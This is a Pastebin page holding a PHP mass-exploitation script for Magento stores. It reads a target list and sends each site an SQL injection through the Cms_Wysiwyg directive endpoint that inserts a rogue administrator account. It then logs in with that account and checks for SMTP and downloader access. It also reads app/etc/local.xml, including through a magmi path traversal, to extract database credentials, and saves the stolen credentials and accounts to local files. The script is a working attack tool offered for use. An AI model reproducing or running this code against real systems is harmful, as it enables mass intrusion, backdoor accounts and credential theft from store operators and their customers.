API tools faq
paste
bug7sec

Magento

bug7sec
May 28th, 2016
491
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.37 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. set_time_limit(0);
  3. /**
  4. * Auto Exploiter Magento
  5. * USE : echo "php ".$argv[0]." target.txt username password\r\n";
  6. */
  7. error_reporting(0);
  8. class MagentoLogin
  9. {
  10.    public function uRedirect($url){
  11.    $curlInit = curl_init($url);
  12.    curl_setopt($curlInit,CURLOPT_CONNECTTIMEOUT,10);
  13.    curl_setopt($curlInit, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  14.    curl_setopt($curlInit,CURLOPT_HEADER,0);
  15.    curl_setopt($curlInit,CURLOPT_NOBODY,true);
  16.    curl_setopt($curlInit,CURLOPT_RETURNTRANSFER,true);
  17.    curl_setopt($curlInit, CURLOPT_TIMEOUT, 60);
  18.    $response = curl_exec($curlInit);
  19.    $info = curl_getinfo($curlInit);
  20.    if($info['redirect_url']){
  21.       return $info['redirect_url'];
  22.    }else{
  23.       return $info['url'];
  24.    }
  25.    }
  26.    public function getActivity($url){
  27.       $ch1 = curl_init($url);
  28.       curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
  29.       curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
  30.       curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  31.       curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
  32.       curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
  33.       curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
  34.       curl_setopt($ch1, CURLOPT_COOKIEJAR,getcwd().'/cookie.txt');
  35.       curl_setopt($ch1, CURLOPT_COOKIEFILE,getcwd().'/cookie.txt');
  36.       $data = curl_exec ($ch1);
  37.       return $data;
  38.    }
  39.    public function admin($url,$username,$password){
  40.       $url = MagentoLogin::uRedirect($url);
  41.       if(!preg_match("/admin/i",parse_url($url, PHP_URL_PATH)) ){
  42.          $url = $url."admin";
  43.       }
  44.       echo "[+] URL ADM : ".$url."\r\n";
  45.       $ch = curl_init();
  46.       curl_setopt($ch, CURLOPT_URL, $url);
  47.       curl_setopt($ch, CURLOPT_HEADER, false);
  48.       curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  49.       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  50.       curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  51.       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  52.       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  53.       curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
  54.       curl_setopt($ch, CURLOPT_TIMEOUT, 60);
  55.       curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  56.       curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  57.       curl_setopt($ch, CURLOPT_VERBOSE, false);
  58.       curl_setopt($ch, CURLOPT_POST, true);
  59.       curl_setopt($ch, CURLOPT_POSTFIELDS, "login[username]=".$username."&login[password]=".$password."");
  60.       $data = curl_exec($ch);
  61.       $re = "/<span class=\"price\">(.*?)<\\/span>/";
  62.       $qt = "/<span class=\"nowrap\" style=\"font-size:18px; color:#EA7601;\">(.*?)<span style=\"font-size:14px; color:#DE8946;\"><\\/span><\\/span>/";
  63.       $IDE = "/<span>IDE<\\/span>/";
  64.       $WP = "/<span>WordPress<\\/span>/";
  65.       $Smtp = "/SMTP/";
  66.       $Mandrill = "/Mandrill/";
  67.       preg_match_all($re      , $data , $matches);
  68.       preg_match_all($qt      , $data , $matchesqt);
  69.       preg_match_all($IDE     , $data , $matchIDE);
  70.       preg_match_all($WP      , $data , $matchWP);
  71.       preg_match_all($Smtp    , $data , $matchesSMTP);
  72.       preg_match($Mandrill    , $data , $matchesMandril);
  73.  
  74.      
  75.       if($matchIDE[0][0]){
  76.          $pesan .= "[+] IDE Home : Found !!!\r\n";
  77.       }
  78.       if($matchWP[0][0]){
  79.          $pesan .= "[+] WP Home : Found !!!\r\n";
  80.       }
  81.       if($matchesSMTP[0][0]){
  82.          $pesan .= "[+] SMTP : Found !!!\r\n";
  83.       }
  84.       if($matchesMandril[0][0]){
  85.          $pesan .= "[+] Mandril : Found !!!\r\n";
  86.       }
  87.      
  88.       if($matches[0][0]){
  89.          $pesan .= "[+] Login ADLink : ".$url." )\r\n";
  90.          $pesan .= "[+] Login Admin  : Success\r\n";
  91.          $pesan .= "[+] Orders info  : ".$matches[1][0]." / ".$matches[1][2]." -[ ".$matchesqt[1][3]." ]-\r\n";
  92.          return $pesan;
  93.       }
  94.          echo "[+] Login Admin : Failed\r\n";
  95.          return false;
  96.    }
  97.  
  98.    public function downloaders($url,$username,$password){
  99.       $url = MagentoLogin::uRedirect($url);
  100.       if(!preg_match("/downloader/i",parse_url($url, PHP_URL_PATH)) ){
  101.          $url = $url."downloader";
  102.       }
  103.       echo "[+] URL DWN : ".$url."\r\n";
  104.       $ch  = curl_init();
  105.       curl_setopt($ch, CURLOPT_URL, $url);
  106.       curl_setopt($ch, CURLOPT_HEADER, false);
  107.       curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  108.       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  109.       curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  110.       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  111.       curl_setopt($ch, CURLOPT_REFERER, $url);
  112.       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  113.       curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
  114.       curl_setopt($ch, CURLOPT_TIMEOUT, 60);
  115.       curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  116.       curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  117.       curl_setopt($ch, CURLOPT_VERBOSE, false);
  118.       curl_setopt($ch, CURLOPT_POST, true);
  119.       curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$username."&password=".$password);
  120.       $data = curl_exec($ch);
  121.       if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  122.             $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  123.             $pesan      .= "[+] Login Download : Success (Permission ".$permission." )\r\n";
  124.             $pesan      .= "[+] Login Linked   : ".$url." )\r\n";
  125.         }else{
  126.             $pesan      .= "[+] Login Download : Failed\r\n";
  127.         }
  128.             if(preg_match("Grizzly_MassEmail", $data)){
  129.             $pesan      .= "[+] SMTP : Found!!!\r\n";
  130.             }else{
  131.             //$pesan      .= "[+] SMTP : Not Found!!!\r\n\r\n";
  132.             }
  133.       return $pesan;
  134.    }
  135. }
  136. // php jembut.php /affiliates/
  137. // php jembut.php /checkout/cart/
  138. // php jembut.php /media/wysiwyg/
  139. class media
  140. {  
  141.    public function saves($nama,$data){
  142.       $myfile = fopen($nama, "a+") or die("Unable to open file!");
  143.       fwrite($myfile, $data);
  144.       fclose($myfile);
  145.    }
  146.    public function parse($url_full){
  147.          if(parse_url($url_full, PHP_URL_PATH)==""){
  148.             $patch = "/";
  149.          }else if(parse_url($url_full, PHP_URL_PATH) == "/"){
  150.             $patch = "/";
  151.          }else{
  152.             $patch = parse_url($url_full, PHP_URL_PATH)."/";
  153.          }
  154.             return parse_url($url_full, PHP_URL_HOST).$patch;
  155.    }
  156.    public function LogoNE(){
  157.         $logo .= "   .--------------------------------------------------------------.\n";
  158.         $logo .= "  -|           _/\[ AUTO EXPLOITER ]/\_        .------------------|-\n";
  159.         $logo .= "  -|     /\/\   __ _  __ _  ___ _ __ | |_ ___  | BETA (C) 2016    |-\n";
  160.         $logo .= "  -|    /    \ / _` |/ _` |/ _ \ '_ \| __/ _ \ .------------------|-\n";
  161.         $logo .= "  -|   / /\/\ \ (_| | (_| |  __/ | | | || (_) |   - Shor7cut -    |-\n";
  162.         $logo .= "  -|   \/    \/\__,_|\__, |\___|_| |_|\__\___/                    |-\n";
  163.         $logo .= "  -|                 |___/                                        |-\n";
  164.         $logo .= "  .\-------------------------------------------------------------/. \n";
  165.         echo $logo;
  166.     }
  167. }
  168. class exploiters extends MagentoLogin
  169. {
  170.  
  171.    public function LocalFileDiscloure($target){
  172.       $path = array(
  173.                "/app/etc/local.xml",
  174.                "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  175.       );
  176.       for($i=0;$i<=count($path);$i++){
  177.          $test = MagentoLogin::getActivity($target.$path[$i]);
  178.          if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
  179.          $re = "/<![CDATA[]+(.*?)[]]]>/";
  180.          preg_match_all($re, $test, $matches);
  181.          
  182.          if(isset($matches[1][0])){
  183.          $shc_host = $matches[1][0];
  184.          $shc_host = $matches[1][3];
  185.          $shc_user = $matches[1][4];
  186.          $shc_pass = $matches[1][5];
  187.          $shc_db   = $matches[1][6];
  188.          $infone   .= "------------------------------\r\n";
  189.          $infone   .= "URL      : ".$target."\r\n";
  190.          $infone   .= "Host     : ".$shc_host."\r\n";
  191.          $infone   .= "Username : ".$shc_user."\r\n";
  192.          $infone   .= "Password : ".$shc_pass."\r\n";
  193.          $infone   .= "Database : ".$shc_db."\r\n";
  194.          $infone   .= "------------------------------\r\n";
  195.             media::saves("Logika-GalauNYA-DB-.txt",$infone);
  196.          }
  197.  
  198.          } else {
  199.             return false;
  200.          }
  201.       }
  202.    }
  203.  
  204.  
  205.  
  206.    public function payload($site,$username,$password){
  207.       $site = MagentoLogin::uRedirect($site);
  208.       if(!preg_match("/admin/i",parse_url($site, PHP_URL_PATH)) ){
  209.          $site = $site."admin";
  210.       }
  211.       $site = $site."/Cms_Wysiwyg/directive/index";
  212.       echo "[+] Site Ne : ".parse_url($site, PHP_URL_HOST)."\r\n";
  213.       exploiters::LocalFileDiscloure(parse_url($site, PHP_URL_HOST));
  214.       echo "[+] URL Pay : ".$site."\r\n";
  215.       echo "[+] Payload : ";
  216.       $email = substr(md5(time()),2,15);
  217.       $post = array(
  218.         "___directive"    => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  219.         "filter"          => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT =  'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '".$password."') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','".$email."@bug7sec.com','".$username."',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '".$username."'),'Firstname');"),
  220.         "forwarded"       => 1
  221.         );
  222.             $ch = curl_init();
  223.             curl_setopt($ch, CURLOPT_URL, $site);
  224.             curl_setopt($ch, CURLOPT_HEADER, false);
  225.             curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  226.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  227.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  228.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  229.             curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  230.             curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
  231.             curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  232.             curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  233.             curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  234.             curl_setopt($ch, CURLOPT_VERBOSE, false);
  235.             curl_setopt($ch, CURLOPT_POST, true);
  236.             curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  237.             $data = curl_exec($ch);
  238.             $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  239.             curl_close($ch);
  240.             if($httpcode=="200"){
  241.                echo "Success\r\n";
  242.                $pesan.= "[+] Site Ne : ".parse_url($site, PHP_URL_HOST)."\r\n";
  243.                $pesan.= "[+] Akun Ne : ".$username."|".$password."\r\n";
  244.                return $pesan;
  245.             }else{
  246.                echo $httpcode."\r\n";
  247.                return false;
  248.             }
  249.    }
  250. }
  251. media::LogoNE();
  252. if( isset($argv[1])  ){
  253.    echo "\r\n"; // LukaHati
  254.    $s=0;$f=0;
  255.    $username  = "administrator"; $password = base64_encode("akupeduli");
  256.    //$username  = "Shor7cut"; $password = base64_encode("akupeduli");
  257.    $target = $argv[1];
  258.    $target = explode("\r\n", file_get_contents($target));
  259.    echo "[+] Load Target : ".count($target)."\r\n\n";
  260.    foreach ($target  as $key => $url) {
  261.    unlink("cookie.txt");
  262.    $url                    = media::parse($url);
  263.    $payloaders             = exploiters::payload(MagentoLogin::uRedirect("{$url}index.php/admin"),$username,$password);
  264.    if($payloaders){
  265.          $login_admin      = exploiters::admin(MagentoLogin::uRedirect("{$url}index.php/admin"),$username,$password);
  266.          $s++;
  267.       if($login_admin){
  268.          $login_download   = exploiters::downloaders(MagentoLogin::uRedirect("{$url}downloader"),$username,$password);
  269.          echo $login_admin.$login_download;
  270.          media::saves("Logika-GalauNYA.txt",$payloaders.$login_admin.$login_download."\r\n");
  271.       }
  272.    }else{
  273.       $f++;
  274.    }
  275.    echo "\r\n";
  276. }
  277. }
  278. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!